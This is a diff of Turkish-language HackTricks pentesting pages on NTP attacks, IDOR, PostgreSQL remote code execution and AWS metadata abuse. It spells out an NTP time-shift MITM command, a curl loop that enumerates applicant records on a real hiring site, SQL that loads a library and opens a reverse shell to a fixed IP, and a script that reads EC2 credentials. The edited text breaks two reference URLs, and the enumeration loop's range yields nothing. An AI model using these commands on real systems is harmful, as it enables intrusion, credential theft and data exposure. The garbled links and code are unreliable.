- **Önemi**: Güvenlik, günlükleme, kripto-protokoller ve dağıtık sistemler için kritik öneme sahiptir.
|
||||
- **Güvenlik Önlemleri**:
|
||||
- Kimlik doğrulama ile güvenilir NTP veya NTS (Ağ Zaman Güvenliği) kaynakları kullanın.
|
||||
- Daemon'u sorgulama/emir verme yetkisini kısıtlayın (``restrict default noquery``, ``kod`` vb.).
|
||||
- Daemon'ı sorgulama/emir verme yetkisini kısıtlayın (``restrict default noquery``, ``kod`` vb.).
|
||||
- Eski Mod-6/7 kontrol sorgularını devre dışı bırakın (``monlist``, ``ntpdc``) veya oran sınırlaması uygulayın.
|
||||
- Manipülasyon için senkronizasyon kayması/sıçrama saniyesi durumunu izleyin.
|
||||
- Daemon'u güncel tutun (aşağıdaki son CVE'lere bakın).
|
||||
- Daemon'ı güncel tutun (aşağıdaki son CVE'lere bakın).
|
||||
|
||||
**Varsayılan portlar**
|
||||
```
|
||||
@ -80,33 +80,33 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
||||
|
||||
| Yıl | CVE | Bileşen | Etki |
|
||||
|------|-----|-----------|--------|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | **ntpq** yanıtları aracılığıyla erişilebilen çoklu sınır dışı yazmalar. **4.2.8p16**'da yamanmış, güncelleyin veya düzeltmeleri geri taşıyın. citeturn1search1turn1search2turn1search0|
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust uygulaması) | Bozuk **NTS** çerezi, v0.3.3'ten önce uzaktan **DoS**'ye neden olur – NTS **devre dışı** olsa bile 123 numaralı portu etkiler. citeturn4view0|
|
||||
| 2024 | dağıtım güncellemeleri | **chrony 4.4 / 4.5** – birkaç güvenlik güçlendirmesi ve NTS-KE düzeltmesi (örneğin, SUSE-RU-2024:2022) citeturn2search2|
|
||||
| 2024 | Kayıt DDoS | Cloudflare, **5.6 Tbps UDP yansıma** saldırısı (kullanılan protokoller arasında NTP) bildirmektedir. İnternete açık sunucularda *monitor* ve *monlist*'i devre dışı bırakın. citeturn5search0|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | **ntpq** yanıtları aracılığıyla erişilebilen çoklu sınır dışı yazmalar. **4.2.8p16**'da yamanmış, güncelleyin veya düzeltmeleri geri taşıyın. |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust uygulaması) | Bozuk **NTS** çerezi, v0.3.3'ten önce uzaktan **DoS**'ye neden olur – NTS **devre dışı** olsa bile 123 numaralı portu etkiler. |
|
||||
| 2024 | dağıtım güncellemeleri | **chrony 4.4 / 4.5** – birkaç güvenlik güçlendirmesi ve NTS-KE düzeltmesi (örn. SUSE-RU-2024:2022) |
|
||||
| 2024 | Kayıt DDoS | Cloudflare, **5.6 Tbps UDP yansıma** saldırısı rapor ediyor (NTP kullanılan protokoller arasında). İnternete açık sunucularda *monitor* ve *monlist*'i devre dışı bırakın. |
|
||||
|
||||
> **Sömürü kitleri**: 2023 ntpq OOB-yazma serisi için kanıt konsepti yükleri GitHub'da mevcuttur (Meinberg yazısına bakın) ve sistem yöneticilerinin istemci tarafı kimlik avı için silahlandırılabilir. citeturn1search4
|
||||
> **Sömürü kitleri**: 2023 ntpq OOB-yazma serisi için kanıt konsepti yükleri GitHub'da mevcuttur (Meinberg yazısına bakın) ve sistem yöneticilerinin istemci tarafında oltalama için silahlandırılabilir.
|
||||
|
||||
---
|
||||
## İleri Düzey Saldırılar
|
||||
|
||||
### 1. NTP Amplifikasyonu / Yansıma
|
||||
|
||||
Eski Mod-7 ``monlist`` sorgusu, **600 host adresine** kadar dönebilir ve hala binlerce İnternet sunucusunda mevcuttur. Yanıt (428-468 bayt/girdi) 8 baytlık isteğin *~ 200×* daha büyük olduğu için, bir saldırgan üç haneli amplifikasyon faktörlerine ulaşabilir. Önlemler:
|
||||
Eski Mod-7 ``monlist`` sorgusu, **600 host adresine kadar** döner ve hala binlerce İnternet sunucusunda mevcuttur. Yanıt (428-468 bayt/girdi) 8 baytlık isteğin *~ 200×* daha büyük olduğu için, bir saldırgan üç haneli amplifikasyon faktörlerine ulaşabilir. Önlemler:
|
||||
|
||||
- ntp 4.2.8p15+ sürümüne yükseltin ve **``disable monitor``** ekleyin.
|
||||
- ntp 4.2.8p15+ sürümüne yükseltin ve **ekleyin** ``disable monitor``.
|
||||
- UDP/123'ü kenarda hız sınırlaması yapın veya DDoS cihazlarında *sessions-required*'ı etkinleştirin.
|
||||
- Kaynak sahteciliğini engellemek için *BCP 38* çıkış filtrelemesini etkinleştirin.
|
||||
|
||||
Adım adım bir inceleme için Cloudflare’ın öğrenim merkezi makalesine bakın. citeturn5search1
|
||||
Adım adım bir inceleme için Cloudflare’ın öğrenim merkezi makalesine bakın.
|
||||
|
||||
### 2. Zaman Kaydırma / Gecikme saldırıları (Khronos / Chronos araştırması)
|
||||
|
||||
Kimlik doğrulama ile bile, bir yol üzerindeki saldırgan, paketleri düşürerek/geciktirerek **istemci saatini** sessizce **kaydırabilir**. IETF **Khronos (eski adıyla Chronos) taslağı**, arka planda çeşitli sunucuları sorgulamayı ve sonucu kontrol ederek > 𝚡 ms kaymayı tespit etmeyi önermektedir. Modern chrony (4.4+) zaten benzer bir kontrol filtresi (``maxdistance`` / ``maxjitter``) uygulamaktadır. citeturn9search1
|
||||
Kimlik doğrulama ile bile, bir yol üzerindeki saldırgan, paketleri düşürerek/geciktirerek istemci saatini sessizce **kaydırabilir**. IETF **Khronos (eski adıyla Chronos) taslağı**, arka planda çeşitli sunucuları sorgulamayı ve sonucu kontrol ederek > 𝚡 ms kaymayı tespit etmeyi önerir. Modern chrony (4.4+) zaten benzer bir kontrol filtresi (``maxdistance`` / ``maxjitter``) uygular.
|
||||
|
||||
### 3. NTS kötüye kullanımı ve 4460/tcp maruziyeti
|
||||
### 3. NTS kötüye kullanımı & 4460/tcp maruziyeti
|
||||
|
||||
NTS, ağır kriptografiyi ayrı bir **TLS 1.3 kanalı üzerinde 4460/tcp** (``ntske/1``) taşır. Kötü uygulamalar (bkz. CVE-2023-33192) çerezleri işlerken çökebilir veya zayıf şifrelemelere izin verebilir. Pentester'lar şunları yapmalıdır:
|
||||
NTS, ağır kriptografiyi ayrı bir **TLS 1.3 kanalı üzerinde 4460/tcp**'ye taşır (``ntske/1``). Kötü uygulamalar (bkz. CVE-2023-33192) çerezleri işlerken çökebilir veya zayıf şifrelemelere izin verebilir. Pentester'lar:
|
||||
```bash
|
||||
# TLS reconnaissance
|
||||
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
@ -114,20 +114,20 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
# Grab banner & ALPN
|
||||
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
```
|
||||
Kendinden imzalı veya süresi dolmuş sertifikaları ve zayıf şifreleme takımları (non-AEAD) arayın. Referans: RFC 8915 §4. citeturn11search0
|
||||
Kendinden imzalı veya süresi dolmuş sertifikaları ve zayıf şifreleme takımları (non-AEAD) arayın. Referans: RFC 8915 §4.
|
||||
|
||||
---
|
||||
## Güçlendirme / En İyi Mevcut Uygulama (BCP-233 / RFC 8633)
|
||||
## Güçlendirme / En İyi Güncel Uygulama (BCP-233 / RFC 8633)
|
||||
|
||||
*Operatörler ŞUNLARı yapmalıdır:*
|
||||
*Operatörler ŞUNLAR yapmalıdır:*
|
||||
|
||||
1. Tek kaynak zehirlenmesini önlemek için **≥ 4** bağımsız, çeşitli zaman kaynakları (kamusal havuzlar, GPS, PTP-köprüleri) kullanın.
|
||||
1. Tek bir kaynağın zehirlenmesini önlemek için **≥ 4** bağımsız, çeşitli zaman kaynakları (kamusal havuzlar, GPS, PTP-köprüleri) kullanın.
|
||||
2. Kötüye kullanan istemcilerin tam yanıtlar yerine **Kiss-o'-Death** hız sınırlama paketleri alması için ``kod`` ve ``limited``/``nomodify`` kısıtlamalarını etkinleştirin.
|
||||
3. **Panik** olayları veya 1000 s'den fazla adım ayarlamaları için daemon günlüklerini izleyin. (RFC 8633 §5.3'e göre saldırı imzaları.)
|
||||
4. Leap-second kesintilerini önlemek için **leap-smear**'ı düşünün, ancak *tüm* aşağı akış istemcilerinin aynı smear penceresini kullandığından emin olun.
|
||||
4. Leap-second kesintilerini önlemek için **leap-smear** düşünün, ancak *tüm* aşağı akış istemcilerinin aynı smear penceresini kullandığından emin olun.
|
||||
5. Leap-second bayraklarının kaçırılmaması için sorgulamayı ≤24 saat tutun.
|
||||
|
||||
Kapsamlı bir kontrol listesi için RFC 8633'e bakın. citeturn8search0turn8search1
|
||||
Kapsamlı bir kontrol listesi için RFC 8633'e bakın.
|
||||
|
||||
---
|
||||
## Shodan / Censys Dorks
|
||||
@ -142,7 +142,7 @@ port:4460 "ntske" # NTS-KE
|
||||
| Araç | Amaç | Örnek |
|
||||
|------|---------|---------|
|
||||
| ``ntpwn`` | monlist & peers sorgularını yaymak için script-kiddie sarmalayıcı | ``python ntpwn.py --monlist targets.txt`` |
|
||||
| **zgrab2 ntp** | Toplu tarama / monlist bayrağı içeren JSON çıktısı | Yukarıdaki komuta bakın |
|
||||
| **zgrab2 ntp** | Toplu tarama / monlist bayrağını içeren JSON çıktısı | Yukarıdaki komuta bakın |
|
||||
| ``chronyd`` ile ``allow`` | Pentest laboratuvarında sahte NTP sunucusu çalıştırma | ``chronyd -q 'server 127.127.1.0 iburst'`` |
|
||||
| ``BetterCap`` | Wi-Fi'de zaman kaydırma MITM için NTP paketleri enjekte etme | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
|
||||
|
||||
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
---
|
||||
## Referanslar
|
||||
|
||||
- RFC 8915 – *Ağ Zaman Güvenliği için Ağ Zaman Protokolü* (port 4460) citeturn11search0
|
||||
- RFC 8633 – *Ağ Zaman Protokolü BCP* citeturn8search0
|
||||
- Cloudflare DDoS raporu 2024 Q4 (5.6 Tbps) citeturn5search0
|
||||
- Cloudflare *NTP Amplifikasyon Saldırısı* makalesi citeturn5search1
|
||||
- NTP 4.2.8p15 CVE serisi 2023-04 citeturn1search4
|
||||
- NVD kayıtları **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
|
||||
- SUSE chrony güvenlik güncellemesi 2024 (chrony 4.5) citeturn2search2
|
||||
- Khronos/Chronos taslağı (zaman kaydırma azaltma) citeturn9search1
|
||||
- chronyc kılavuzu/uzaktan izleme için örnekler citeturn3search0turn10search1
|
||||
- zgrab2 ntp modülü belgeleri citeturn7search0
|
||||
- RFC 8915 – *Ağ Zaman Güvenliği için Ağ Zaman Protokolü* (port 4460)
|
||||
- RFC 8633 – *Ağ Zaman Protokolü BCP*
|
||||
- Cloudflare DDoS raporu 2024 Q4 (5.6 Tbps)
|
||||
- Cloudflare *NTP Amplifikasyon Saldırısı* makalesi
|
||||
- NTP 4.2.8p15 CVE serisi 2023-04
|
||||
- NVD girişleri **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- SUSE chrony güvenlik güncellemesi 2024 (chrony 4.5)
|
||||
- Khronos/Chronos taslağı (zaman kaydırma azaltma)
|
||||
- chronyc kılavuzu/uzaktan izleme için örnekler
|
||||
- zgrab2 ntp modülü belgeleri
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,85 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Gönderiyi kontrol edin: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
# IDOR (Güvensiz Doğrudan Nesne Referansı)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Güvensiz Doğrudan Nesne Referansı) / Bozuk Nesne Seviyesi Yetkilendirme (BOLA), bir web veya API uç noktasının, **doğrudan** erişim sağlamak için kullanılan ve kullanıcı tarafından kontrol edilebilen bir tanımlayıcıyı ifşa etmesi veya kabul etmesi durumunda ortaya çıkar **çağrının bu nesneye erişim/ değiştirme yetkisi olduğunu doğrulamadan**. Başarılı bir istismar genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey ayrıcalık yükseltmelerine izin verir ve en kötü durumda, tam hesap ele geçirme veya kitlesel veri sızdırma ile sonuçlanabilir.
|
||||
|
||||
---
|
||||
## 1. Potansiyel IDOR'ları Belirleme
|
||||
|
||||
1. **Bir nesneyi referans alan parametreleri** arayın:
|
||||
* Yol: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Sorgu: `?id=42`, `?invoice=2024-00001`
|
||||
* Gövde / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Başlıklar / Çerezler: `X-Client-ID: 4711`
|
||||
2. **Veri okuma veya güncelleme** yapan uç noktaları tercih edin (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Tanımlayıcıların **sıralı veya tahmin edilebilir** olduğuna dikkat edin – eğer ID'niz `64185742` ise, o zaman `64185741` muhtemelen vardır.
|
||||
4. Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları keşfedin (örneğin, giriş sayfalarındaki *"Paradox takım üyeleri"* bağlantısı).
|
||||
5. **Kimlik doğrulaması yapılmış düşük ayrıcalıklı bir oturum** kullanın ve yalnızca ID'yi **aynı token/çerezi koruyarak** değiştirin. Yetkilendirme hatasının olmaması genellikle IDOR'un bir işareti olarak kabul edilir.
|
||||
|
||||
### Hızlı manuel müdahale (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||||
Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Otomatik numaralandırma (Burp Intruder / curl döngüsü)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: auth=$TOKEN" \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platformu (2025)
|
||||
|
||||
Paradox.ai destekli **McHire** işe alım portalının değerlendirilmesi sırasında aşağıdaki IDOR keşfedildi:
|
||||
|
||||
* Uç Nokta: `PUT /api/lead/cem-xhr`
|
||||
* Yetkilendirme: **herhangi** bir restoran test hesabı için kullanıcı oturum çerezi
|
||||
* Gövde parametresi: `{"lead_id": N}` – 8 haneli, **sıralı** sayısal tanımlayıcı
|
||||
|
||||
`lead_id` değerini düşürerek, test eden kişi rastgele başvuranların **tam KİŞİSEL VERİLERİ**ni (isim, e-posta, telefon, adres, vardiya tercihleri) ve oturum kaçırmaya izin veren bir tüketici **JWT**'sini elde etti. `1 – 64,185,742` aralığının numaralandırılması yaklaşık **64 milyon** kaydı açığa çıkardı.
|
||||
|
||||
Kanıt-of-Kavram isteği:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Birleştirildiğinde **varsayılan yönetici kimlik bilgileri** (`123456:123456`) test hesabına erişim sağladı ve bu zafiyet, kritik, şirket genelinde bir veri ihlaline yol açtı.
|
||||
|
||||
---
|
||||
## 3. IDOR / BOLA'nın Etkisi
|
||||
* Yatay yükselme – **diğer kullanıcıların** verilerini okuma/güncelleme/silme.
|
||||
* Dikey yükselme – düşük yetkili bir kullanıcının yalnızca yöneticiye ait işlevselliğe erişimi.
|
||||
* Tanımlayıcılar ardışık ise kitlesel veri ihlali (örneğin, başvuru kimlikleri, faturalar).
|
||||
* Diğer kullanıcıların token'larını çalarak veya şifrelerini sıfırlayarak hesap ele geçirme.
|
||||
|
||||
---
|
||||
## 4. Önlemler & En İyi Uygulamalar
|
||||
1. Her istekte **nesne düzeyinde yetkilendirme** uygulayın (`user_id == session.user`).
|
||||
2. Otomatik artan kimlikler yerine **dolaylı, tahmin edilemez tanımlayıcılar** (UUIDv4, ULID) tercih edin.
|
||||
3. Yetkilendirmeyi **sunucu tarafında** gerçekleştirin, asla gizli form alanlarına veya UI kontrollerine güvenmeyin.
|
||||
4. Merkezi bir ara katmanda **RBAC / ABAC** kontrolleri uygulayın.
|
||||
5. Kimliklerin sıralanmasını tespit etmek için **oran sınırlama ve günlükleme** ekleyin.
|
||||
6. Her yeni uç noktayı güvenlik testi yapın (birim, entegrasyon ve DAST).
|
||||
|
||||
---
|
||||
## 5. Araçlar
|
||||
* **BurpSuite uzantıları**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Github projeleri**: `bwapp-idor-scanner`, `Blindy` (toplu IDOR avı).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Referanslar
|
||||
* [McHire Chatbot Platform: Varsayılan Kimlik Bilgileri ve IDOR 64M Başvuranın Kişisel Bilgilerini Açığa Çıkardı](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Kırık Erişim Kontrolü](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [Daha Fazla IDOR Nasıl Bulunur – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
PostgreSQL, genişletilebilirliği temel bir özellik olarak geliştirilmiştir ve uzantıları, sanki yerleşik işlevler gibi sorunsuz bir şekilde entegre etmesine olanak tanır. Bu uzantılar, esasen C dilinde yazılmış kütüphaneler olup, veritabanını ek işlevler, operatörler veya türlerle zenginleştirir.
|
||||
|
||||
8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmeleri gerekmektedir. Bunu yapmadan PostgreSQL, bunları çalıştırmayacak ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.
|
||||
8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmelidirler. Bunu yapmadan PostgreSQL, bunları çalıştırmayacak ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.
|
||||
|
||||
Ayrıca, **eğer PostgreSQL'i kötüye kullanarak kurbanın dosyalarını nasıl yükleyeceğinizi bilmiyorsanız, bu yazıyı okumalısınız.** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
|
||||
<summary>Base64'ten ikili dosya yazma</summary>
|
||||
|
||||
Postgres'te bir ikili dosyayı yazmak için base64 kullanmanız gerekebilir, bu konuda yardımcı olacaktır:
|
||||
Postgres'te bir ikili dosyayı yazmak için base64 kullanmanız gerekebilir, bu konuda faydalı olacaktır:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
@ -73,15 +73,15 @@ Ancak, daha büyük sürümlerde denendiğinde **aşağıdaki hata gösterildi**
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Bu hata, [PostgreSQL belgelerinde](https://www.postgresql.org/docs/current/static/xfunc-c.html) açıklanmaktadır:
|
||||
Bu hata [PostgreSQL belgelerinde](https://www.postgresql.org/docs/current/static/xfunc-c.html) açıklanmaktadır:
|
||||
|
||||
> Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2 itibarıyla bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu kodu modül kaynak dosyalarından birine (ve yalnızca birine) yazın, fmgr.h başlığını ekledikten sonra:
|
||||
> Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı bir ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2'den itibaren bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu modül kaynak dosyalarından birinde, fmgr.h başlığını ekledikten sonra şunu yazın:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
PostgreSQL 8.2 sürümünden itibaren, bir saldırganın sistemi istismar etme süreci daha zor hale getirilmiştir. Saldırganın ya sistemde zaten mevcut bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu ana PostgreSQL sürümüne karşı derlenmeli ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmeyi önemli ölçüde zorlaştırır, çünkü sistemin mimarisi ve sürüm uyumluluğu hakkında daha derin bir anlayış gerektirir.
|
||||
PostgreSQL 8.2 sürümünden itibaren, bir saldırganın sistemi istismar etme süreci daha zor hale getirilmiştir. Saldırganın ya sistemde zaten mevcut olan bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu ana PostgreSQL sürümüne karşı derlenmeli ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmeyi önemli ölçüde zorlaştırır, çünkü sistemin mimarisi ve sürüm uyumluluğu hakkında daha derin bir anlayış gerektirir.
|
||||
|
||||
#### Kütüphaneyi derleyin
|
||||
|
||||
@ -92,7 +92,7 @@ PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0
|
||||
```
|
||||
Uyumluluk için, ana sürümlerin uyumlu olması gereklidir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyonu sağlamalıdır.
|
||||
|
||||
Bu sürümü sisteminize kurmak için:
|
||||
O sürümü sisteminize kurmak için:
|
||||
```bash
|
||||
apt install postgresql postgresql-server-dev-9.6
|
||||
```
|
||||
@ -262,11 +262,11 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
||||
|
||||
### En yeni PostgreSQL sürümlerinde RCE
|
||||
|
||||
**En son sürümlerde** PostgreSQL'de, `superuser`'ın belirli dizinler dışında paylaşılan kütüphane dosyalarını **yüklemesi** **yasaklanmıştır**, örneğin Windows'ta `C:\Program Files\PostgreSQL\11\lib` veya \*nix sistemlerinde `/var/lib/postgresql/11/lib`. Bu dizinler, NETWORK_SERVICE veya postgres hesapları tarafından yazma işlemlerine karşı **güvenli** hale getirilmiştir.
|
||||
**En son sürümlerde** PostgreSQL'de, `superuser`'ın belirli dizinler dışında paylaşılan kütüphane dosyalarını **yüklemesi** **yasaklanmıştır**; bu dizinler Windows'ta `C:\Program Files\PostgreSQL\11\lib` veya \*nix sistemlerinde `/var/lib/postgresql/11/lib` gibi yerlerdir. Bu dizinler, NETWORK_SERVICE veya postgres hesapları tarafından yazma işlemlerine karşı **güvenli** hale getirilmiştir.
|
||||
|
||||
Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı `superuser`'ının "büyük nesneler" kullanarak dosya sistemine **ikili dosyalar yazması** mümkündür. Bu yetenek, veritabanı işlemleri için gerekli olan `C:\Program Files\PostgreSQL\11\data` dizininde yazma işlemini de kapsar; bu, tabloları güncelleme veya oluşturma gibi işlemler için gereklidir.
|
||||
Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı `superuser`'ı, "büyük nesneler" kullanarak dosya sistemine **ikili dosyalar yazma** yeteneğine sahiptir. Bu yetenek, veritabanı işlemleri için gerekli olan `C:\Program Files\PostgreSQL\11\data` dizininde yazma işlemlerini de kapsar; bu, tabloları güncelleme veya oluşturma gibi işlemler için gereklidir.
|
||||
|
||||
`CREATE FUNCTION` komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine **dizin geçişine** **izin vermesidir**. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi **istismar ederek** veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından **yükleyebilir**. Bu istismar, saldırgana sistemde rastgele kod çalıştırma yeteneği sağlar.
|
||||
`CREATE FUNCTION` komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine **dizin geçişine** **izin vermesidir**. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi **istismar ederek** veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından **yükleyebilir**. Bu istismar, saldırgana rastgele kod çalıştırma yeteneği vererek sistemde yerel kod yürütülmesini sağlar.
|
||||
|
||||
#### Saldırı akışı
|
||||
|
||||
@ -281,11 +281,11 @@ Uzantıyı (bu örnek için poc.dll adıyla) veri dizinine yükledikten sonra, b
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Not edinmeniz gereken `.dll` uzantısını eklemenize gerek yoktur çünkü create fonksiyonu bunu ekleyecektir._
|
||||
_Not edin, `.dll` uzantısını eklemenize gerek yoktur çünkü create fonksiyonu bunu ekleyecektir._
|
||||
|
||||
Daha fazla bilgi için **orijinal yayını**[ **buradan okuyun**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
O yayında **bu, postgres uzantısını oluşturmak için kullanılan** [**koddu**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun_).\
|
||||
Aynı sayfada bu **teknik otomatikleştirmek için** bir exploit verildi:
|
||||
Daha fazla bilgi için **orijinal yayını**[ **buradan okuyun**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Bu yayında **postgres uzantısını oluşturmak için kullanılan** [**kod**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun_).\
|
||||
Aynı sayfada bu **teknik otomatikleştirmek için** bir **sömürü** verildi:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
|
@ -11,9 +11,9 @@
|
||||
**Metadata** uç noktasının **2 versiyonu** vardır. **İlk** versiyon, uç noktaya **GET** istekleri ile **erişime** izin verir (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemek için **PUT** isteği göndermeniz ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle **kötüye kullanmak daha karmaşıktır**).
|
||||
|
||||
> [!CAUTION]
|
||||
> EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** bir **hop limitine sahip olacaktır**, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirir.
|
||||
> EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirir.
|
||||
>
|
||||
> Ayrıca, **IMDSv2** ayrıca **`X-Forwarded-For` başlığını içeren bir token almak için yapılan istekleri de engelleyecektir**. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişimini önlemek içindir.
|
||||
> Ayrıca, **IMDSv2**, **`X-Forwarded-For` başlığını içeren bir token almak için yapılan istekleri de engelleyecektir**. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişimini önlemek içindir.
|
||||
|
||||
[Metadata uç noktaları hakkında bilgi bulabilirsiniz](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Aşağıdaki script ile bazı ilginç bilgiler elde edilmektedir:
|
||||
```bash
|
||||
@ -75,13 +75,13 @@ echo ""
|
||||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
